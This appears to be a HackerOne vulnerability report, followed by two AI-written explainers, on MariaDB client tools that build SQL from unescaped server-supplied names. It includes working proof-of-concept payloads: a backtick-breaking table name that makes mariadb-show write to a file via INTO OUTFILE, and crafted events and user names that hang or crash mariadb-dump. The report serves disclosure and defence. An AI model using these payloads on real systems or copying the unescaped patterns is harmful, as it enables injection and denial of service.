Several MariaDB command-line utilities build SQL queries from database-supplied names without escaping them, so a malicious database can make the client run injected SQL. The dump tool also has an infinite loop and buffer overflows that can crash the client.
mariadb-show (and to a lesser extent mariadb-dump and mariadb-convert-table-format.sh) may be tricked into executing malicious SQL if run against an attacker controlled database due to dynamically generated queries not escaping user controlled values.
mariadb-dump contains additional issues that may lead to client-side DoS / buffer overflow issues.
mariadb-show --count --verbose
mariadb-show may EXECUTE malicious queries when used as above because table names returned from SHOW TABLES end up being used without escaping in a SELECT COUNT(*) FROM `%s`; query.
/* Print the count of rows for each table */
my_snprintf(query, sizeof(query), "SELECT COUNT(*) FROM `%s`",
row[0]);
if (!(mysql_query(mysql,query)))
...
CREATE TABLE poc(i INT);
INSERT INTO poc VALUES (1), (2), (3);
CREATE TABLE `poc`` HAVING 0 UNION SELECT user() INTO OUTFILE '/tmp/show_p'#`(i INT);
SHOW TABLES;
-- poc
-- poc` HAVING 0 UNION SELECT user() INTO OUTFILE '/tmp/show_p'#
mariadb-show can then be tricked into executing
SQL
SELECT COUNT(*) FROM `poc` HAVING 0 UNION SELECT user() INTO OUTFILE '/tmp/show_p'#`
root@localhost
mariadb-convert-table-format.sh
Table names are also not escaped in mariadb-convert-table-format.sh, but the SHOW TABLE STATUS injection doesn't give a lot of room for an attacker to player with. It's possible to inject a single quote ' or LIKE wildcards if needed.
my_snprintf(buff, sizeof(buff), "show create server %s", row[0]);
CREATE SERVER `poc`
FOREIGN DATA WRAPPER mysql
OPTIONS (HOST '127.0.0.1', DATABASE 'base_db');
CREATE SERVER `poc # hidden`
FOREIGN DATA WRAPPER mysql
OPTIONS (HOST '192.0.2.123', DATABASE 'hidden_db');
Because the SHOW CREATE SERVER doesn't quote server names, anything with a space in cause an injection. Not very useful ... but it's there.
mariadb-dump --events (infinite loop)
mariadb-dump --events tries to create a delimiter not present in the event body, but because create_delimiter() increments delimiter_max_size instead of proposed_length during the loop, the proposed delimiter is always stuck as ;; - causing an infinite loop if ;; is already present.
static char *create_delimiter(char *query, char *delimiter_buff,
int delimiter_max_size)
{
int proposed_length;
char *presence;
delimiter_buff[0]= ';'; /* start with one semicolon, and */
for (proposed_length= 2; proposed_length < delimiter_max_size;
delimiter_max_size++) {
delimiter_buff[proposed_length-1]= ';'; /* add semicolons, until */
delimiter_buff[proposed_length]= '\0';
presence = strstr(query, delimiter_buff);
if (presence == NULL) { /* the proposed delimiter is not in the query. */
return delimiter_buff;
}
}
return NULL; /* but if we run out of space, return nothing at all. */
}
Proof of Concept
SQL
CREATE EVENT e_low_hang
ON SCHEDULE AT CURRENT_TIMESTAMP + INTERVAL 1 DAY
DO SELECT ';;' AS marker;
$ mariadb-dump --events ...
...
--
-- Dumping events for database 'victimdb'
--
/*!50106 SET @save_time_zone= @@TIME_ZONE */ ;
/*!50106 DROP EVENT IF EXISTS `e_low_hang` */;
^C
mariadb-dump (Buffer Overflows)
There are a couple of places where queries relating to users are copied into buffers that are potentially too small if the 'user'@'host' is long enough (doesn't have to be max length, overflows well before then). Doesn't seem to be overly exploitable at first glance.
CREATE USER 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'@'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
$ mariadb-dump --system=users --replace ...
...
DROP ROLE mariadb_dump_import_role;
/*M!100203 EXECUTE IMMEDIATE CONCAT('SET ROLE ', @current_role) */;
zsh: abort ...
mariadb-dump also appears to overflow some buffers while dumping a view whose definer is excessively large. The overflow seems to get caught on an ASAN build, doesn't crash a release build, but these buffers (maybe elsewhere too?) should probably be increased now that longer username / hosts are accepted?
mariadb-import --lock-tables crashes the client for ordinary direct-file imports. The root cause is that the direct-file branch iterates argv to build files_to_load, leaving argv pointing at the final NULL.
The later --lock-tables path still passes the original remaining argument count plus the now-exhausted pointer to lock_table(), which then calls fn_format() with a NULL filename.
$ mariadb-import --lock-tables db /tmp/x.txt
zsh: segmentation fault
Impact
mariadb-show --count may EXECUTE attacker-injected SQL if ran against an attacker controlled db.
The original report as published on HackerOne, by vortfu. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.
Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.
Context
The MariaDB client tools ship a set of command line utilities that administrators routinely point at a database: mariadb-show, mariadb-dump, mariadb-convert-table-format.sh and mariadb-import. They are convenience wrappers around SQL: they read metadata from the server (SHOW TABLES, SHOW TABLE STATUS, SHOW CREATE SERVER, mysql.user, event bodies) and then build further queries from the values they get back.
The report examines what happens when those returned values are attacker controlled, that is, when the tool is run against a database an attacker can create objects in. The core theme is that dynamically generated queries do not escape user controlled values, so a crafted object name or body can break out of the intended statement and be executed by the client. mariadb-dump additionally has issues that lead to client-side denial of service and buffer overflows.
Setup
The precondition throughout is that the operator runs the affected client tool against a database whose contents (table names, server names, event bodies, user names) are controlled by an attacker. The report does not describe a specific version, build flags or account setup beyond that. The proof of concept for mariadb-show writes a file on the server with INTO OUTFILE.
Finding it
The researcher looked at the places where the client tools interpolate server-supplied strings into new SQL. In mariadb-show, table names returned from SHOW TABLES are placed into a count query without escaping:
/* Print the count of rows for each table */
my_snprintf(query, sizeof(query), "SELECT COUNT(*) FROM `%s`",
row[0]);
if (!(mysql_query(mysql,query)))
...
The name is wrapped in backticks, but any backtick inside the name is not doubled, so the name can terminate the identifier. The report lists additional potential sinks in the same file:
Step 1: create a table whose name breaks out of the count query
The attacker creates an ordinary table and then a second table whose name contains a closing backtick followed by SQL, with a trailing # to comment out the rest of the generated statement:
SQL
CREATE TABLE poc(i INT);
INSERT INTO poc VALUES (1), (2), (3);
CREATE TABLE `poc`` HAVING 0 UNION SELECT user() INTO OUTFILE '/tmp/show_p'#`(i INT);
SHOW TABLES;
-- poc
-- poc` HAVING 0 UNION SELECT user() INTO OUTFILE '/tmp/show_p'#
The doubled backtick in the CREATE TABLE statement is how the identifier is escaped when the table is created; the stored name is poc followed by a single backtick and the injected text. SHOW TABLES confirms the stored name.
Step 2: run mariadb-show with --count --verbose
When the tool is run as mariadb-show --count --verbose, it builds the following statement from the stored name:
SQL
SELECT COUNT(*) FROM `poc` HAVING 0 UNION SELECT user() INTO OUTFILE '/tmp/show_p'#`
The injected backtick closes the identifier, HAVING 0 suppresses the count row, and the UNION SELECT user() writes the current database user to /tmp/show_p on the server. The trailing # comments out the closing backtick that the tool appends. The report shows the resulting file content:
root@localhost
So the client executed attacker-supplied SQL against the server.
Step 3: mariadb-convert-table-format.sh
Table names are also not escaped in mariadb-convert-table-format.sh, but the SHOW TABLE STATUS injection gives the attacker little room. The report notes it is possible to inject a single quote ' or LIKE wildcards if needed.
my_snprintf(buff, sizeof(buff), "show create server %s", row[0]);
Because SHOW CREATE SERVER does not quote server names, anything with a space in it causes an injection. The attacker creates two servers:
CREATE SERVER `poc`
FOREIGN DATA WRAPPER mysql
OPTIONS (HOST '[redacted]', DATABASE 'base_db');
CREATE SERVER `poc # hidden`
FOREIGN DATA WRAPPER mysql
OPTIONS (HOST '[redacted]', DATABASE 'hidden_db');
The second name contains a space, which the report says causes an injection. The researcher's assessment is that this is not very useful, but it is there.
Step 5: mariadb-dump --events infinite loop
mariadb-dump --events tries to pick a delimiter that does not appear in the event body. The helper increments the wrong variable during the loop:
static char *create_delimiter(char *query, char *delimiter_buff,
int delimiter_max_size)
{
int proposed_length;
char *presence;
delimiter_buff[0]= ';'; /* start with one semicolon, and */
for (proposed_length= 2; proposed_length < delimiter_max_size;
delimiter_max_size++) {
delimiter_buff[proposed_length-1]= ';'; /* add semicolons, until */
delimiter_buff[proposed_length]= '\0';
presence = strstr(query, delimiter_buff);
if (presence == NULL) { /* the proposed delimiter is not in the query. */
return delimiter_buff;
}
}
return NULL; /* but if we run out of space, return nothing at all. */
}
delimiter_max_size is incremented instead of proposed_length, so the proposed delimiter stays at ;;. If ;; is already present in the event body, the loop never terminates. The proof of concept creates such an event:
SQL
CREATE EVENT e_low_hang
ON SCHEDULE AT CURRENT_TIMESTAMP + INTERVAL 1 DAY
DO SELECT ';;' AS marker;
Running the dump hangs after printing the event header, and the researcher interrupts it:
$ mariadb-dump --events ...
...
--
-- Dumping events for database 'victimdb'
--
/*!50106 SET @save_time_zone= @@TIME_ZONE */ ;
/*!50106 DROP EVENT IF EXISTS `e_low_hang` */;
^C
Step 6: mariadb-dump buffer overflows
Queries relating to users are copied into buffers that can be too small when the 'user'@'host' string is long enough. The report notes the overflow happens well before maximum length and does not seem overly exploitable at first glance.
A user with a very long name and host triggers the overflow:
SQL
CREATE USER 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'@'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
$ mariadb-dump --system=users --replace ...
...
DROP ROLE mariadb_dump_import_role;
/*M!100203 EXECUTE IMMEDIATE CONCAT('SET ROLE ', @current_role) */;
zsh: abort ...
mariadb-dump also overflows buffers while dumping a view whose definer is excessively large. The overflow is caught on an ASAN build and does not crash a release build, but the researcher suggests these buffers should be increased now that longer usernames and hosts are accepted.
mariadb-import --lock-tables crashes the client for ordinary direct-file imports. The direct-file branch iterates argv to build files_to_load, leaving argv pointing at the final NULL. The later --lock-tables path still passes the original remaining argument count plus the now-exhausted pointer to lock_table(), which calls fn_format() with a NULL filename.
$ mariadb-import --lock-tables db /tmp/x.txt
zsh: segmentation fault
Root cause
The common mistake is string interpolation of server-supplied identifiers and values into new SQL without escaping. In mariadb-show the table name is wrapped in backticks but embedded backticks are not doubled, so the identifier can be closed early. In mariadb-convert-table-format.sh the table name goes into a LIKE pattern inside single quotes without escaping, so quotes and wildcards pass through. In mariadb-dump --system=servers the server name is inserted into show create server %s with no quoting at all. The client trusts metadata it just read from the server, which is fine only if the server is trusted.
The --events hang is a separate logic error: create_delimiter() increments delimiter_max_size instead of proposed_length, so the candidate delimiter never grows past ;; and the loop cannot find a free delimiter when ;; is in the body. The buffer overflows come from fixed-size stack buffers (char buf[200], char search_buf[256], replace_buf[256]) that are filled with user and host strings whose length is not bounded by those sizes. The mariadb-import crash is a pointer that is advanced to NULL while building the file list and then reused together with the original count.
Impact
mariadb-show --count may execute attacker-injected SQL if run against an attacker-controlled database. The same class of issue exists in mariadb-convert-table-format.sh (limited to a quote or LIKE wildcards) and in mariadb-dump --system=servers (limited, as the researcher puts it, but present). mariadb-dump --events can hang the client indefinitely on a crafted event, and long user or host names can abort the client through buffer overflows, with the view definer overflow only observed on an ASAN build. mariadb-import --lock-tables segfaults on ordinary direct-file imports. All of these require the operator to run the tool against a database the attacker can influence.
Fix
The report does not describe any fix or vendor response. The researcher only suggests increasing the buffers now that longer usernames and hosts are accepted.
Variants to test
Run mariadb-show --count --verbose against a database containing a table whose name includes a backtick and a comment marker. A positive result is the injected statement executing on the server, for example a file written by INTO OUTFILE.
Run mariadb-convert-table-format against tables whose names contain % or a single quote. A positive result is the tool reporting on a table it was not asked about.
Run mariadb-dump --system=servers against a server whose name contains a space and #. A positive result is the generated SHOW CREATE SERVER statement being truncated at the comment.
Run mariadb-dump --events against an event whose body contains ;;. A positive result is the dump hanging after the event header until interrupted.
Run mariadb-dump --system=users --replace against a user with a long name and host, and dump a view with a long definer. A positive result is an abort on a normal build for the user case, or an ASAN report for the view definer case.
Run mariadb-import --lock-tables db /tmp/x.txt with a direct file import. A positive result is a segmentation fault.
Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 19 min read.
What happened, in plain words
MariaDB is a database system: a program that stores data in tables and answers questions about that data. Alongside the database server itself, MariaDB ships a set of small command line tools that administrators run on their own computer to look at or copy what is inside a database. The report looks at four of them: mariadb-show, mariadb-dump, mariadb-convert-table-format.sh and mariadb-import.
These tools are convenient wrappers. To do their job they first ask the server for information, for example "which tables exist?" or "which users exist?". The server sends back names and text. The tool then builds a new question (a SQL query) out of those names and sends it back to the server. The problem is that the tool trusts what it just received. If an attacker can put a cleverly chosen name into the database, the tool will paste that name into its next query without cleaning it up, and the attacker's text becomes part of a command the tool executes.
This kind of flaw is called SQL injection: untrusted text is glued into a database command in a way that lets it change the meaning of that command. Here the injection happens on the client side, inside the administrator's tool, not on the server.
mariadb-dump has extra problems beyond injection: a crafted event can make it loop forever, and long user or host names can overflow fixed-size memory buffers and crash it.
The setup you need to picture
Throughout the report, one condition must hold: the person running the tool points it at a database whose contents an attacker controls. That means the attacker can create tables, servers, events or users with names of their choosing. The report does not name a specific MariaDB version, build setting or account setup.
One proof of concept writes a file on the server with INTO OUTFILE.
Finding the weak spots
The researcher went looking for places where the client tools take a string that came from the server and drop it into a new SQL statement. In mariadb-show, table names returned by SHOW TABLES are placed into a row-count query without escaping:
C++
/* Print the count of rows for each table */
my_snprintf(query, sizeof(query), "SELECT COUNT(*) FROM `%s`",
row[0]);
if (!(mysql_query(mysql,query)))
...
Line by line:
/* Print the count of rows for each table */ is a comment describing the purpose: count how many rows each table holds.
my_snprintf(query, sizeof(query), "SELECT COUNT(*) FROM %s", row[0]); builds a text string. my_snprintf is like a fill-in-the-blanks template: the %s is a blank, and row[0] (the table name the server returned) is dropped into it. The result is stored in query.
The table name is wrapped in backticks. In SQL, backticks mark a name as a name, so that spaces or reserved words inside it are not mistaken for SQL syntax.
The flaw: if the table name itself contains a backtick, that backtick is not doubled. A single backtick inside the name therefore closes the name early, and whatever follows is read as SQL.
if (!(mysql_query(mysql,query))) sends the built query to the server. If it succeeds, the code continues.
The report lists more places in the same file that may have the same problem:
Step 1: create a table whose name breaks out of the count query
The attacker first makes an ordinary table, then a second table whose name contains a closing backtick followed by extra SQL, ending with # so that the rest of the generated statement is treated as a comment:
SQL
CREATE TABLE poc(i INT);
INSERT INTO poc VALUES (1), (2), (3);
CREATE TABLE `poc`` HAVING 0 UNION SELECT user() INTO OUTFILE '/tmp/show_p'#`(i INT);
SHOW TABLES;
-- poc
-- poc` HAVING 0 UNION SELECT user() INTO OUTFILE '/tmp/show_p'#
Line by line:
CREATE TABLE poc(i INT); creates a normal table called poc with one integer column i.
INSERT INTO poc VALUES (1), (2), (3); puts three rows into it, so it is not empty.
CREATE TABLE poc`` HAVING 0 UNION SELECT user() INTO OUTFILE '/tmp/show_p'#(i INT); creates the malicious table. Inside backticks, a doubled backtick means one literal backtick. So the stored name is poc, then one backtick, then the text HAVING 0 UNION SELECT user() INTO OUTFILE '/tmp/show_p'#. The (i INT) at the end defines the column.
SHOW TABLES; asks the server to list table names.
The two -- lines are the output: the first table is poc, and the second is the stored malicious name.
Why this step: the attacker needs a name that, when pasted into the tool's query, will close the backtick-quoted name and add new SQL.
Step 2: run mariadb-show with --count --verbose
When the administrator runs mariadb-show --count --verbose, the tool builds this statement from the stored name:
SQL
SELECT COUNT(*) FROM `poc` HAVING 0 UNION SELECT user() INTO OUTFILE '/tmp/show_p'#`
Line by line:
SELECT COUNT(*) FROM poc`` is the tool's intended query: count the rows of the table named poc.
The injected backtick closes the name early.
HAVING 0 makes the count produce no rows, so the first part of the query returns nothing.
UNION SELECT user() adds a second result: the name of the database user the tool is connected as. UNION combines two result sets.
INTO OUTFILE '/tmp/show_p' writes that result into a file on the server.
# starts a comment, so the closing backtick the tool appends at the end is ignored.
The report shows what ends up in the file:
root@localhost
So the client executed SQL the attacker supplied, against the server. Why this matters: the administrator thought they were only counting rows, but the tool ran the attacker's command.
Step 3: mariadb-convert-table-format.sh
Table names are also not escaped in mariadb-convert-table-format.sh, but the injection through SHOW TABLE STATUS gives the attacker little room. The report notes it is possible to inject a single quote ' or LIKE wildcards if needed.
PERL
$sth=$dbh->prepare("show table status like '$table'");
Line by line:
$dbh->prepare(...) prepares a SQL statement to be sent to the database.
The statement text is show table status like '$table', where $table is the table name taken from the server.
The name sits inside single quotes, but any single quote inside the name is not escaped, so it can end the quoted string early.
The word LIKE means the pattern can contain wildcards: % matches any run of characters and _ matches one character.
The wildcard case is shown with two tables, one using the MyISAM storage engine and one using InnoDB, where the second name contains %:
SQL
CREATE TABLE `poc`(
id INT
) ENGINE=MyISAM;
CREATE TABLE `poc%`(
id INT
) ENGINE=InnoDB;
Line by line:
The first statement creates a table named poc with an integer column id, stored with the MyISAM engine. A storage engine is the part of the database that decides how rows are physically kept on disk.
The second creates a table named poc%, also with an integer column, using the InnoDB engine.
Converting tables:
poc already uses the 'MYISAM' engine; Ignored
Line by line:
Converting tables: is the tool's heading.
The first line says poc already uses MyISAM, so it is skipped.
The second line says poc% already uses MyISAM, even though that table is InnoDB.
Why this step: it shows that even without full SQL injection, an unescaped name can change which tables the tool acts on.
Step 4: mariadb-dump --system=servers
Server names are pasted into a SHOW CREATE SERVER statement without any quoting:
C++
my_snprintf(buff, sizeof(buff), "show create server %s", row[0]);
Line by line:
my_snprintf fills the %s blank with row[0], the server name that came back from the database.
The name is not wrapped in quotes or backticks at all, so any space in the name ends the name and starts new SQL.
The attacker creates two servers:
CREATE SERVER `poc`
FOREIGN DATA WRAPPER mysql
OPTIONS (HOST '[redacted]', DATABASE 'base_db');
CREATE SERVER `poc # hidden`
FOREIGN DATA WRAPPER mysql
OPTIONS (HOST '[redacted]', DATABASE 'hidden_db');
Line by line:
CREATE SERVER defines a named connection to another database, called a foreign server. FOREIGN DATA WRAPPER mysql says the remote side speaks the MySQL protocol.
OPTIONS (HOST ..., DATABASE ...) gives the remote address and database name.
The first server is named poc and points at [redacted] with database base_db.
The second is named poc # hidden and points at [redacted] with database hidden_db. Its name contains a space and a #.
Because SHOW CREATE SERVER does not quote server names, a name with a space causes an injection. The researcher's own assessment is that this is not very useful, but it is there.
Step 5: mariadb-dump --events infinite loop
mariadb-dump --events tries to pick a delimiter, a marker string, that does not appear in the body of an event. An event is a scheduled task stored in the database, like a reminder that runs SQL at a set time. The helper that picks the delimiter increments the wrong variable:
C++
static char *create_delimiter(char *query, char *delimiter_buff,
int delimiter_max_size)
{
int proposed_length;
char *presence;
delimiter_buff[0]= ';'; /* start with one semicolon, and */
for (proposed_length= 2; proposed_length < delimiter_max_size;
delimiter_max_size++) {
delimiter_buff[proposed_length-1]= ';'; /* add semicolons, until */
delimiter_buff[proposed_length]= '\0';
presence = strstr(query, delimiter_buff);
if (presence == NULL) { /* the proposed delimiter is not in the query. */
return delimiter_buff;
}
}
return NULL; /* but if we run out of space, return nothing at all. */
}
Line by line:
static char *create_delimiter(...) is a function that returns a pointer to a text buffer holding the chosen delimiter.
delimiter_buff[0]= ';'; starts the candidate with one semicolon.
for (proposed_length= 2; proposed_length < delimiter_max_size; delimiter_max_size++) is the loop. The condition compares proposed_length with delimiter_max_size, but the increment adds to delimiter_max_size, not to proposed_length.
delimiter_buff[proposed_length-1]= ';'; and delimiter_buff[proposed_length]= '\0'; write a semicolon and a terminating null character, making the candidate ;;.
presence = strstr(query, delimiter_buff); checks whether the candidate already appears in the event body.
if (presence == NULL) { return delimiter_buff; } returns the candidate if it is not present.
Because proposed_length never changes, the candidate stays ;; forever. If ;; is already in the body, the loop never ends.
return NULL; is meant to handle running out of space, but the loop never gets there.
The proof of concept creates such an event:
SQL
CREATE EVENT e_low_hang
ON SCHEDULE AT CURRENT_TIMESTAMP + INTERVAL 1 DAY
DO SELECT ';;' AS marker;
Line by line:
CREATE EVENT e_low_hang creates an event named e_low_hang.
ON SCHEDULE AT CURRENT_TIMESTAMP + INTERVAL 1 DAY schedules it to run one day from now.
DO SELECT ';;' AS marker; is the body: it selects the text ;; and labels the column marker. That ;; is what traps the delimiter search.
Running the dump hangs after printing the event header, and the researcher interrupts it:
$ mariadb-dump --events ...
...
--
-- Dumping events for database 'victimdb'
--
/*!50106 SET @save_time_zone= @@TIME_ZONE */ ;
/*!50106 DROP EVENT IF EXISTS `e_low_hang` */;
^C
Line by line:
$ mariadb-dump --events ... is the command being run, with --events asking it to dump events.
The -- lines are the tool's comment header saying it is dumping events for the database victimdb.
/*!50106 ... */ is a versioned comment: the server runs the code inside only if its version is at least 5.1.6. The first saves the current time zone; the second drops the event if it exists.
^C is the researcher pressing Ctrl+C to stop the hung program.
Why this step: a single crafted event is enough to make the dump run forever, which is a denial of service against the administrator's tool.
Step 6: mariadb-dump buffer overflows
Queries about users are copied into memory buffers that can be too small when the 'user'@'host' string is long enough. A buffer is a fixed-size area of memory reserved for text; writing more than it holds spills into neighbouring memory, which is a buffer overflow. The report notes the overflow happens well before the maximum allowed length and does not seem overly exploitable at first glance.
C++
if (mysql_query_with_error_report(mysql, &tableres,
"SELECT CONCAT(QUOTE(u.user), '@', QUOTE(u.Host)) AS u "
"FROM mysql.user u "
" /*...*/"))
return 1;
while ((row= mysql_fetch_row(tableres)))
{
char buf[200];
if (opt_replace_into)
fprintf(md_result_file,
"...",
quote_for_equal(row[0],buf), ...);
...
Line by line:
mysql_query_with_error_report(...) runs a query and reports errors.
The query selects each user and host from the mysql.user table, quotes them, and joins them with @ into one string per row.
while ((row= mysql_fetch_row(tableres))) walks through the result rows one at a time.
char buf[200]; reserves a fixed buffer of 200 characters on the stack.
if (opt_replace_into) checks whether the --replace option was given.
fprintf(md_result_file, "...", quote_for_equal(row[0],buf), ...); writes output, using quote_for_equal to fill buf with the quoted user string. If that string is longer than 200 characters, it overflows.
static char *quote_for_equal(const char *name, char *buff) takes an input name and an output buffer.
char *to= buff; sets a write pointer to the start of the buffer.
*to++= '\''; writes an opening single quote and advances.
while (*name) loops over each character of the name.
if (*name == '\\') { *to++='\\'; } doubles a backslash, writing two characters for one.
if (*name == '\'') { *to++= '\''; } doubles a single quote, again writing two for one.
*to++= *name++; copies the character itself and advances both pointers.
to[0]= '\''; to[1]= 0; writes the closing quote and a null terminator.
Because escaping can double characters, the output can be up to twice the input length, which is how a long name overflows a fixed buffer.
A user with a very long name and host triggers the overflow:
SQL
CREATE USER 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'@'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
Line by line:
CREATE USER creates a database account.
The part before @ is the user name, a long run of A characters.
The part after @ is the host the account may connect from, a long run of a characters.
Together they form the 'user'@'host' string that the dump tool copies into its fixed buffers.
$ mariadb-dump --system=users --replace ...
...
DROP ROLE mariadb_dump_import_role;
/*M!100203 EXECUTE IMMEDIATE CONCAT('SET ROLE ', @current_role) */;
zsh: abort ...
Line by line:
$ mariadb-dump --system=users --replace ... runs the dump for user accounts with the --replace option.
The DROP ROLE and /*M!100203 ... */ lines are output the tool had already written. /*M!100203 ... */ is a MariaDB versioned comment, run only on version 10.2.3 or later.
zsh: abort ... means the shell reports that the program was aborted, here because of the overflow.
mariadb-dump also overflows buffers while dumping a view whose definer is excessively large. A view is a saved query that behaves like a table; its definer is the account that owns it. The overflow is caught on an ASAN build (a build with AddressSanitizer, a tool that detects memory errors) and does not crash a release build, but the researcher suggests these buffers should be increased now that longer usernames and hosts are accepted.
char search_buf[256], replace_buf[256]; reserves two fixed buffers of 256 characters each.
parse_user(...) splits the definer string into a user name and a host name.
ptr= search_buf; points at the start of the search buffer.
strxmov(ptr, "DEFINER=", ...) copies several pieces one after another into that buffer: the literal DEFINER=, the quoted user name, @, the quoted host name, SQL SECURITY, and the security type from row[2].
search_len= (ulong)(... - ptr); computes how many characters were written by subtracting the start pointer from the final pointer.
If the quoted user and host are long, the combined text exceeds 256 characters and overflows the buffer.
mariadb-import --lock-tables crashes the client for ordinary direct-file imports. The direct-file branch walks through argv, the list of command line arguments, to build files_to_load, which leaves argv pointing at the final NULL (the marker that ends the list). The later --lock-tables path still passes the original remaining argument count plus the now-exhausted pointer to lock_table(), which calls fn_format() with a NULL filename.
C++
for (; *argv != NULL; argv++)
{
table_load_params p(*argv, "", current_db, 0);
files_to_load.push_back(p);
}
...
if (lock_tables)
lock_table(mysql, argc, argv);
Line by line:
for (; *argv != NULL; argv++) loops until the argument pointer reaches the end-of-list marker.
table_load_params p(*argv, "", current_db, 0); builds a load description for the current file argument.
files_to_load.push_back(p); adds it to the list of files to load.
After the loop, argv points at NULL.
if (lock_tables) lock_table(mysql, argc, argv); calls lock_table with the original argument count argc but the exhausted argv.
static void lock_table(MYSQL *mysql, int tablecount, char **raw_tablename) receives the connection, a count of tables and the array of names.
for (i=0 ; i < tablecount ; i++) loops as many times as the count says.
fn_format(tablename, raw_tablename[i], "", "", 1 | 2); formats the i-th name into tablename. Because the array is exhausted, this reads a NULL pointer.
dynstr_append(&query, tablename); and dynstr_append(&query, " WRITE,"); build a lock query.
$ mariadb-import --lock-tables db /tmp/x.txt
zsh: segmentation fault
Line by line:
$ mariadb-import --lock-tables db /tmp/x.txt imports the file /tmp/x.txt into database db and asks to lock tables during the import.
zsh: segmentation fault means the program tried to read memory it was not allowed to, and the operating system killed it.
Root cause
The common mistake is string interpolation: gluing text that came from the server into a new SQL statement without escaping it. In mariadb-show the table name is wrapped in backticks but embedded backticks are not doubled, so the name can be closed early. In mariadb-convert-table-format.sh the table name goes into a LIKE pattern inside single quotes without escaping, so quotes and wildcards pass through. In mariadb-dump --system=servers the server name is inserted into show create server %s with no quoting at all. The client trusts metadata it just read from the server, which is fine only if the server is trusted.
The --events hang is a separate logic error: create_delimiter() increments delimiter_max_size instead of proposed_length, so the candidate delimiter never grows past ;; and the loop cannot find a free delimiter when ;; is in the body. The buffer overflows come from fixed-size stack buffers (char buf[200], char search_buf[256], replace_buf[256]) that are filled with user and host strings whose length is not bounded by those sizes. The mariadb-import crash is a pointer that is advanced to NULL while building the file list and then reused together with the original count.
Impact
mariadb-show --count may execute attacker-injected SQL if run against an attacker-controlled database. The same class of issue exists in mariadb-convert-table-format.sh (limited to a quote or LIKE wildcards) and in mariadb-dump --system=servers (limited, as the researcher puts it, but present). mariadb-dump --events can hang the client indefinitely on a crafted event, and long user or host names can abort the client through buffer overflows, with the view definer overflow only observed on an ASAN build. mariadb-import --lock-tables segfaults on ordinary direct-file imports. All of these require the operator to run the tool against a database the attacker can influence.
Fix
The report does not describe any fix or vendor response. The researcher only suggests increasing the buffers now that longer usernames and hosts are accepted.
Variants to test
Run mariadb-show --count --verbose against a database containing a table whose name includes a backtick and a comment marker. A positive result is the injected statement executing on the server, for example a file written by INTO OUTFILE.
Run mariadb-convert-table-format against tables whose names contain % or a single quote. A positive result is the tool reporting on a table it was not asked about.
Run mariadb-dump --system=servers against a server whose name contains a space and #. A positive result is the generated SHOW CREATE SERVER statement being truncated at the comment.
Run mariadb-dump --events against an event whose body contains ;;. A positive result is the dump hanging after the event header until interrupted.
Run mariadb-dump --system=users --replace against a user with a long name and host, and dump a view with a long definer. A positive result is an abort on a normal build for the user case, or an ASAN report for the view definer case.
Run mariadb-import --lock-tables db /tmp/x.txt with a direct file import. A positive result is a segmentation fault.
Glossary
SQL: the language used to ask a database to store, change or return data.
SQL injection: gluing untrusted text into a SQL statement so that it changes the meaning of the statement.
Query: a single SQL request sent to a database.
Database: an organised collection of data, here managed by a database server.
Database server: the program that stores data and answers queries.
Client tool: a program on the administrator's computer that talks to the database server.
MariaDB: an open source database system, compatible with MySQL.
mariadb-show: a command line tool that lists databases, tables and row counts.
mariadb-dump: a command line tool that exports a database's contents as SQL text.
mariadb-convert-table-format.sh: a script that changes the storage engine of tables.
mariadb-import: a command line tool that loads text files into tables.
Metadata: information about the data, such as table names, user names or event definitions.
Escape / escaping: marking special characters in text so they are treated as plain text rather than as syntax.
Backtick: the ` character, used in SQL to mark a name as a name.
Identifier: a name in SQL, such as a table, column or server name.
String interpolation: building a text string by dropping values into a template.
%s: a placeholder in a format string where a text value is inserted.
my_snprintf: a C function that builds a string from a template and values.
SHOW TABLES: a SQL statement that lists table names.
SHOW TABLE STATUS: a SQL statement that returns details about tables.
SHOW CREATE SERVER: a SQL statement that returns the definition of a foreign server.
SELECT COUNT(*): a SQL statement that counts rows.
UNION: a SQL keyword that combines the results of two queries.
HAVING: a SQL clause that filters grouped results.
INTO OUTFILE: a SQL clause that writes query results to a file on the server.
